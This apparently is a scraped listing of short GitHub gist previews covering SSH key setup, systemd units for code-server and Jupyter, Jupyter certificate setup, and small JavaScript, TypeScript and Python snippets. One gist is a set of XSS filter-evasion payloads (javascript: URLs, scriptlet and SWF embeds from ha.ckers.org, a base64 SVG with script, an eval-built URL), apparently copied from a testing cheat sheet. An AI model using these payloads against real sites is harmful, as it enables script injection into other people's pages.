This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh-keygen | |
ssh-copy-id -i ~/.ssh/id_rsa.pub -p 22 user@host |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Unit] | |
Description=code-server | |
After=network.target | |
[Service] | |
Type=simple | |
Environment=PASSWORD=your_password_here | |
ExecStart=/usr/bin/code-server --bind-addr 0.0.0.0:8080 --user-data-dir /var/lib/code-server --auth password | |
Restart=always | |
RestartSec=10 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Unit] | |
Description=jupyter-notebook | |
After=network.target | |
[Service] | |
Type=simple | |
ExecStart=/home/jana/anaconda3/bin/jupyter-notebook --no-browser --ip=0.0.0.0 --port=9999 --port-retries=50 | |
Restart=always | |
RestartSec=10 | |
User=<your-user> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<BASE HREF=\"javascript:alert('XSS');//\"> | |
<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT> | |
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> | |
<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED> | |
<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED> | |
a=\"get\"; | |
b=\"URL(\\"\"; | |
c=\"javascript:\"; | |
d=\"alert('XSS');\\")\"; | |
eval(a+b+c+d); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo pip3 install jupyter | |
export PASSWD=$(ipython -c "from IPython.lib import passwd; print(passwd('sudo123'))") # Change with your password here between quotes. | |
jupyter notebook --generate-config | |
cd ~ | |
mkdir certs | |
cd certs | |
sudo openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out mycert.pem |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Fix CSRF error in django using this. | |
axios.defaults.xsrfCookieName = "csrftoken"; | |
axios.defaults.xsrfHeaderName = "X-CSRFToken"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Imports | |
import tensorflow as tf | |
from keras import backend as K | |
# Define function for centralizing the gradients | |
def centralize_gradients(optimizer, loss, params): | |
grads = [] # List to store the gradients | |
for grad in K.gradients(loss, params): # Iterate over gradients using the Keras Backend |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import typing as t | |
class FromDictMeta(type): | |
"""Metaclass to ensure inherited classes have `from_dict` class method.""" | |
def __new__( | |
cls, | |
name: str, | |
bases: t.Tuple[type, ...], | |
attrs: t.Dict[str, t.Any], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export class EventEmitter { | |
public events: Map<string, Set<Function>>; | |
constructor() { | |
this.events = new Map(); | |
} | |
public on(event: string, listener: Function) { | |
if (!this.events.has(event)) this.events.set(event, new Set()); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function isNodeRuntime() { | |
// The reason we check for both `v8` instead of `node` is because when running `process.versions` under | |
// Bun, it returns `node` and `bun` version, but it doesn't use v8 engine, hence not a Node.js runtime. | |
return ( | |
typeof process !== 'undefined' && | |
process.versions && | |
process.versions.v8 | |
); | |
} |
OlderNewer